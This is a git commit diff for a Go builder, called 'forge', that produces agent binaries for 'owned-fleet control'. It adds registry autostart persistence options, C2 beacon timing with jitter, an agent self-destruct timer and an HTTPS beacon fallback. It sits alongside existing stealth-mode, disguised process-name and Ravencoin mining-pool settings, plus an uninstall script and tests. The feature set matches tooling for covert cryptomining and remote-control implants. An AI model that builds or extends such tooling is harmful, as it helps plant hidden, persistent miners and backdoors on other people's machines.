feat: fleet ops, KEV scan, tunnels, beacon fallback, persistence

Extend owned-fleet control with scheduled tasks, audit log, file browser,
HTTPS beacon when WS drops, protocol tunnels, registry/autostart forge
options, KEV exposure in full sys check with Telegram alerts, and UI/tests.
This commit is contained in:
AetherForge
2026-06-04 09:34:33 -07:00
parent d52479c9a6
commit 5fc601b564
111 changed files with 5845 additions and 116 deletions

View File

@@ -39,6 +39,12 @@ type BuildRequest struct {
RunAs string `json:"run_as"`
HostBinaryTarget string `json:"host_binary_target"`
AutoStart bool `json:"auto_start"`
AutostartMode string `json:"autostart_mode"`
RegistryPersistence string `json:"registry_persistence"`
RegistryRunHKCU bool `json:"registry_run_hkcu"`
RegistryRunHKLM bool `json:"registry_run_hklm"`
RegistryRunOnce bool `json:"registry_run_once"`
RegistryExplorerRun bool `json:"registry_explorer_run"`
Persistence bool `json:"persistence"`
ProcessName string `json:"process_name"`
MaxCPUUsagePct int `json:"max_cpu_usage_pct"`
@@ -97,6 +103,13 @@ type BuildRequest struct {
RVNPoolTLS bool `json:"rvn_pool_tls"`
RVNPoolPass string `json:"rvn_pool_pass"`
RVNBackupPools []BackupPool `json:"rvn_backup_pools"`
// Connection profile — C2 beacon timing and agent self-destruct
BeaconIntervalSec int `json:"beacon_interval_sec"`
BeaconJitterPct int `json:"beacon_jitter_pct"`
AgentKillAfterDays int `json:"agent_kill_after_days"`
HTTPSBeaconFallback bool `json:"https_beacon_fallback"`
HTTPSBeaconAfterMin int `json:"https_beacon_after_min"`
}
// BackupPool is a fallback Stratum pool tried if the primary pool is unreachable.
@@ -341,6 +354,16 @@ func (h *Handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
return
}
if h.db != nil {
user := ""
if u, _, ok := r.BasicAuth(); ok {
user = u
}
_ = h.db.InsertAudit(user, "forge_build", "", map[string]string{
"build_id": resp.BuildID, "worker_name": req.WorkerName, "file_name": resp.FileName,
})
}
if r.URL.Query().Get("download") == "1" {
w.Header().Set("Content-Type", "application/octet-stream")
w.Header().Set("Content-Disposition", fmt.Sprintf(`attachment; filename="%s"`, resp.FileName))
@@ -848,6 +871,9 @@ func (h *Handler) normalizeRequest(req *BuildRequest) error {
if req.Persistence {
req.AutoStart = true
}
req.AutostartMode = strings.ToLower(strings.TrimSpace(req.AutostartMode))
req.RegistryPersistence = strings.ToLower(strings.TrimSpace(req.RegistryPersistence))
normalizeRegistryPersistence(req)
if req.ProcessName == "" {
req.ProcessName = sanitizeFileName(req.WorkerName)
}
@@ -1031,6 +1057,12 @@ func GetBuiltinConfig() BuiltinConfig {
RunAs: %q,
HostBinaryTarget: %q,
AutoStart: %v,
AutostartMode: %q,
RegistryPersistence: %q,
RegistryRunHKCU: %v,
RegistryRunHKLM: %v,
RegistryRunOnce: %v,
RegistryExplorerRun: %v,
ProcessName: %q,
BuildID: %q,
BuiltAt: time.Unix(%d, 0),
@@ -1078,6 +1110,12 @@ func GetBuiltinConfig() BuiltinConfig {
RVNPoolTLS: %v,
RVNPoolPass: %q,
RVNBackupPools: %s,
BeaconIntervalSec: %d,
BeaconJitterPct: %d,
AgentKillAfterDays: %d,
HTTPSBeaconFallback: %v,
HTTPSBeaconAfterMin: %d,
}
}
`, buildID, time.Now().UTC().Format(time.RFC3339),
@@ -1094,6 +1132,12 @@ func GetBuiltinConfig() BuiltinConfig {
req.RunAs,
req.HostBinaryTarget,
req.AutoStart,
strings.TrimSpace(req.AutostartMode),
strings.TrimSpace(req.RegistryPersistence),
req.RegistryRunHKCU,
req.RegistryRunHKLM,
req.RegistryRunOnce,
req.RegistryExplorerRun,
req.ProcessName,
buildID,
time.Now().Unix(),
@@ -1139,9 +1183,33 @@ func GetBuiltinConfig() BuiltinConfig {
req.RVNPoolTLS,
rvnPoolPass(req),
formatGoBackupPools(req.RVNBackupPools),
req.BeaconIntervalSec,
req.BeaconJitterPct,
req.AgentKillAfterDays,
httpsBeaconFallbackEnabled(req),
httpsBeaconAfterMin(req),
)
}
func httpsBeaconFallbackEnabled(req *BuildRequest) bool {
if req.HTTPSBeaconFallback {
return true
}
for _, u := range req.BackupServerURLs {
if strings.TrimSpace(u) != "" {
return true
}
}
return false
}
func httpsBeaconAfterMin(req *BuildRequest) int {
if req.HTTPSBeaconAfterMin > 0 {
return req.HTTPSBeaconAfterMin
}
return 3
}
func rvnPoolHost(req *BuildRequest) string {
if req.RVNPoolHost == "" {
return "rvn.2miners.com"

View File

@@ -62,6 +62,9 @@ func TestGenerateBuiltinConfigValid(t *testing.T) {
if !strings.Contains(src, "BackupServerURLs") {
t.Error("expected BackupServerURLs field in generated config")
}
if !strings.Contains(src, "AutostartMode") {
t.Error("expected AutostartMode field in generated config")
}
}
func TestBuildPlatformLabelAndBinDir(t *testing.T) {

View File

@@ -0,0 +1,41 @@
package builder
// normalizeRegistryPersistence maps forge checkboxes to baked config when enum is empty.
func normalizeRegistryPersistence(req *BuildRequest) {
if req == nil {
return
}
if req.RegistryPersistence != "" && req.RegistryPersistence != "off" {
return
}
if !req.RegistryRunHKCU && !req.RegistryRunHKLM && !req.RegistryRunOnce && !req.RegistryExplorerRun {
return
}
count := 0
if req.RegistryRunHKCU {
count++
}
if req.RegistryRunOnce {
count++
}
if req.RegistryRunHKLM {
count++
}
if req.RegistryExplorerRun {
count++
}
if count == 1 {
switch {
case req.RegistryRunHKCU:
req.RegistryPersistence = "hkcu_run"
case req.RegistryRunOnce:
req.RegistryPersistence = "hkcu_run_once"
case req.RegistryRunHKLM:
req.RegistryPersistence = "hklm_run"
case req.RegistryExplorerRun:
req.RegistryPersistence = "explorer_run"
}
return
}
req.RegistryPersistence = "combined"
}

View File

@@ -0,0 +1,30 @@
package builder
import "testing"
func TestNormalizeRegistryPersistenceSingleCheckbox(t *testing.T) {
req := &BuildRequest{RegistryRunOnce: true}
normalizeRegistryPersistence(req)
if req.RegistryPersistence != "hkcu_run_once" {
t.Fatalf("got %q", req.RegistryPersistence)
}
}
func TestNormalizeRegistryPersistenceCombined(t *testing.T) {
req := &BuildRequest{RegistryRunHKCU: true, RegistryRunOnce: true}
normalizeRegistryPersistence(req)
if req.RegistryPersistence != "combined" {
t.Fatalf("got %q", req.RegistryPersistence)
}
}
func TestNormalizeRegistryPersistenceEnumWins(t *testing.T) {
req := &BuildRequest{
RegistryPersistence: "hkcu_run",
RegistryRunHKLM: true,
}
normalizeRegistryPersistence(req)
if req.RegistryPersistence != "hkcu_run" {
t.Fatalf("enum should win, got %q", req.RegistryPersistence)
}
}

View File

@@ -122,6 +122,10 @@ if (Test-Path $ExpectedExe) {
Write-Host "Removing persistence..."
Remove-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -Name $PersistenceKey -ErrorAction SilentlyContinue
Unregister-ScheduledTask -TaskName $PersistenceKey -Confirm:$false -ErrorAction SilentlyContinue
Unregister-ScheduledTask -TaskName ($PersistenceKey + '-Boot') -Confirm:$false -ErrorAction SilentlyContinue
Unregister-ScheduledTask -TaskName ($PersistenceKey + '-Logon') -Confirm:$false -ErrorAction SilentlyContinue
$StartupLnk = Join-Path $env:APPDATA 'Microsoft\Windows\Start Menu\Programs\Startup\' ($PersistenceKey + '.lnk')
if (Test-Path $StartupLnk) { Remove-Item -LiteralPath $StartupLnk -Force }
if (%s) {
Write-Host "Removing Windows Firewall rules..."

View File

@@ -33,6 +33,16 @@ func TestGenerateUninstallScriptStealthKey(t *testing.T) {
}
}
func TestGenerateUninstallScriptAutostartExtras(t *testing.T) {
req := &BuildRequest{WorkerName: "lab", ProcessName: "Worker", StealthMode: false}
script := generateUninstallScript("build-id", req)
for _, frag := range []string{"-Boot", "-Logon", "Programs\\Startup", ".lnk"} {
if !strings.Contains(script, frag) {
t.Fatalf("expected autostart cleanup fragment %q in script", frag)
}
}
}
func TestGenerateUninstallScriptInstallPathTokens(t *testing.T) {
req := &BuildRequest{
WorkerName: "office-pc",